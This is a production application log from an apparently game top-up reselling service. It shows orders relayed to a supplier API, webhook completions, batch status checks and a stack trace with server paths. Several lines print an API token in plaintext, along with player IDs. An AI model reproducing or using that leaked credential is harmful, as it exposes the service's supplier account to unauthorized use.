[2026-03-24 13:02:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=46f164a8-aec7-44b5-ad35-5cc1bf082fd3&Player_ID=0988407989","has_body":false} 
[2026-03-24 13:02:59] production.INFO: Operation sent successfully {"operation_id":163563,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jl0zZ-1774346579","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:02:59"}},"processed_data":{"order_number":"ORD-jl0zZ-1774346579","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:03:45] production.INFO: Constructing job for order: 178639  
[2026-03-24 13:03:47] production.INFO: Handling job for order: 178639  
[2026-03-24 13:03:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:03:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:03:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=dacdcfbd-210f-408c-93fd-0dfae557d0c8&Player_ID=13800386494  
[2026-03-24 13:03:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=dacdcfbd-210f-408c-93fd-0dfae557d0c8&Player_ID=13800386494","has_body":false} 
[2026-03-24 13:03:48] production.INFO: Operation sent successfully {"operation_id":163564,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HEjy-1774346627","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:03:48"}},"processed_data":{"order_number":"ORD-HEjy-1774346627","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:03:51] production.INFO: Constructing job for order: 178640  
[2026-03-24 13:03:54] production.INFO: Handling job for order: 178640  
[2026-03-24 13:03:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:03:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:03:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3d843217-928c-446b-912f-d83e14850bea&Player_ID=13800386494  
[2026-03-24 13:03:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=3d843217-928c-446b-912f-d83e14850bea&Player_ID=13800386494","has_body":false} 
[2026-03-24 13:03:55] production.INFO: Operation sent successfully {"operation_id":163565,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0Iaxfqx-1774346634","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:03:55"}},"processed_data":{"order_number":"ORD-0Iaxfqx-1774346634","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:04:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01"} 
[2026-03-24 13:04:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","total_operations":4,"sites_count":2} 
[2026-03-24 13:04:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-oIKQ74-1774346575","ORD-jl0zZ-1774346579"]} 
[2026-03-24 13:04:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 13:04:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 13:04:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 13:04:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 13:04:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"count":2} 
[2026-03-24 13:04:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"count":2} 
[2026-03-24 13:04:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"user_id":366,"notification_type":"order_approved","reference_id":178638} 
[2026-03-24 13:04:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"user_id":366,"notification_type":"order_approved","reference_id":178637} 
[2026-03-24 13:04:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:04:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:04:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"processed":2,"errors":0} 
[2026-03-24 13:04:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"processed":2,"errors":0} 
[2026-03-24 13:04:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"orders_count":2,"order_ids":["ORD-HEjy-1774346627","ORD-0Iaxfqx-1774346634"]} 
[2026-03-24 13:04:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562} 
[2026-03-24 13:04:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oIKQ74-1774346575","operation_id":163562,"orders_count":2} 
[2026-03-24 13:04:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0Iaxfqx-1774346634","operation_id":163565} 
[2026-03-24 13:04:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HEjy-1774346627","operation_id":163564} 
[2026-03-24 13:04:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HEjy-1774346627","operation_id":163564,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 13:04:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HEjy-1774346627","operation_id":163564,"processed":0,"errors":0} 
[2026-03-24 13:04:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"UGOwnmL2x7iLml5MK9QMkCe0nr7Q7DpW","execution_time":"2026-03-24 13:04:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HEjy-1774346627","operation_id":163564} 
[2026-03-24 13:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 13:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 13:04:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-HEjy-1774346627","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:04:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-HEjy-1774346627","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:04:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:04:05] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":178639} 
[2026-03-24 13:04:05] production.INFO: Order updated successfully. Order ID: 178639, Status: completed  
[2026-03-24 13:04:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-HEjy-1774346627","status":"completed","codes_count":0} 
[2026-03-24 13:04:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 13:04:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0Iaxfqx-1774346634","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:04:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-0Iaxfqx-1774346634","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:04:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:04:18] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":178640} 
[2026-03-24 13:04:18] production.INFO: Order updated successfully. Order ID: 178640, Status: completed  
[2026-03-24 13:04:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0Iaxfqx-1774346634","status":"completed","codes_count":0} 
[2026-03-24 13:04:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 13:04:48] production.INFO: Constructing job for order: 178641  
[2026-03-24 13:04:49] production.INFO: Handling job for order: 178641  
[2026-03-24 13:04:49] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:04:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:04:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=dcd6ea3d-89ce-4abf-8150-68e9596fb22a&Player_ID=110483944  
[2026-03-24 13:04:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=dcd6ea3d-89ce-4abf-8150-68e9596fb22a&Player_ID=110483944","has_body":false} 
[2026-03-24 13:04:50] production.INFO: Operation sent successfully {"operation_id":163566,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3XSz-1774346689","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 13:04:50"}},"processed_data":{"order_number":"ORD-3XSz-1774346689","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 13:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 13:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 13:05:04] production.INFO: async() رجع: true  
[2026-03-24 13:05:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:05:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:05:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:05:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:06:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"oh4b41UEFl2qpJhfh5VzCLl4xa7y92pV","execution_time":"2026-03-24 13:06:02"} 
[2026-03-24 13:06:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"oh4b41UEFl2qpJhfh5VzCLl4xa7y92pV","execution_time":"2026-03-24 13:06:02","total_operations":1,"sites_count":1} 
[2026-03-24 13:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"oh4b41UEFl2qpJhfh5VzCLl4xa7y92pV","execution_time":"2026-03-24 13:06:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-3XSz-1774346689"]} 
[2026-03-24 13:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"oh4b41UEFl2qpJhfh5VzCLl4xa7y92pV","execution_time":"2026-03-24 13:06:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"oh4b41UEFl2qpJhfh5VzCLl4xa7y92pV","execution_time":"2026-03-24 13:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"oh4b41UEFl2qpJhfh5VzCLl4xa7y92pV","execution_time":"2026-03-24 13:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566} 
[2026-03-24 13:06:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"oh4b41UEFl2qpJhfh5VzCLl4xa7y92pV","execution_time":"2026-03-24 13:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 13:06:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"oh4b41UEFl2qpJhfh5VzCLl4xa7y92pV","execution_time":"2026-03-24 13:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"processed":0,"errors":0} 
[2026-03-24 13:06:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"oh4b41UEFl2qpJhfh5VzCLl4xa7y92pV","execution_time":"2026-03-24 13:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566} 
[2026-03-24 13:06:07] production.INFO: Constructing job for order: 178642  
[2026-03-24 13:06:08] production.INFO: Handling job for order: 178642  
[2026-03-24 13:06:08] production.ERROR: API failed for order 178642 {"order_id":178642,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(178642, 885, 1, 'bc3a811d-9045-4...', '[{\"key\":\"userna...', 31, 314)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(178642)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 13:06:08","memory_usage":57147392,"memory_peak":57147392}} 
[2026-03-24 13:06:38] production.INFO: Constructing job for order: 178643  
[2026-03-24 13:06:41] production.INFO: Handling job for order: 178643  
[2026-03-24 13:06:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:06:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:06:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a2f0c806-7aa1-4144-99d2-3d62b301672a&Player_ID=51866420636  
[2026-03-24 13:06:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a2f0c806-7aa1-4144-99d2-3d62b301672a&Player_ID=51866420636","has_body":false} 
[2026-03-24 13:06:42] production.INFO: Operation sent successfully {"operation_id":163567,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Ofgg-1774346802","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:06:42"}},"processed_data":{"order_number":"ORD-Ofgg-1774346802","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 13:06:56] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Ofgg-1774346802","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:06:56] production.INFO: Processed webhook data (normalized) {"id":"ORD-Ofgg-1774346802","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:06:56] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:06:56] production.INFO: SendAcceptReject: Notification queued {"user_id":442,"notification_type":"order_approved","reference_id":178643} 
[2026-03-24 13:06:56] production.INFO: Order updated successfully. Order ID: 178643, Status: completed  
[2026-03-24 13:06:56] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Ofgg-1774346802","status":"completed","codes_count":0} 
[2026-03-24 13:06:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 442  
[2026-03-24 13:08:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03"} 
[2026-03-24 13:08:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","total_operations":1,"sites_count":1} 
[2026-03-24 13:08:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-3XSz-1774346689"]} 
[2026-03-24 13:08:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:08:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:08:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NKZujlVTMPXceSa3AYOf8xoUCGcdnUwp","execution_time":"2026-03-24 13:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-3XSz-1774346689","operation_id":163566,"processed":1,"skipped":0,"updates_prepared":1} 
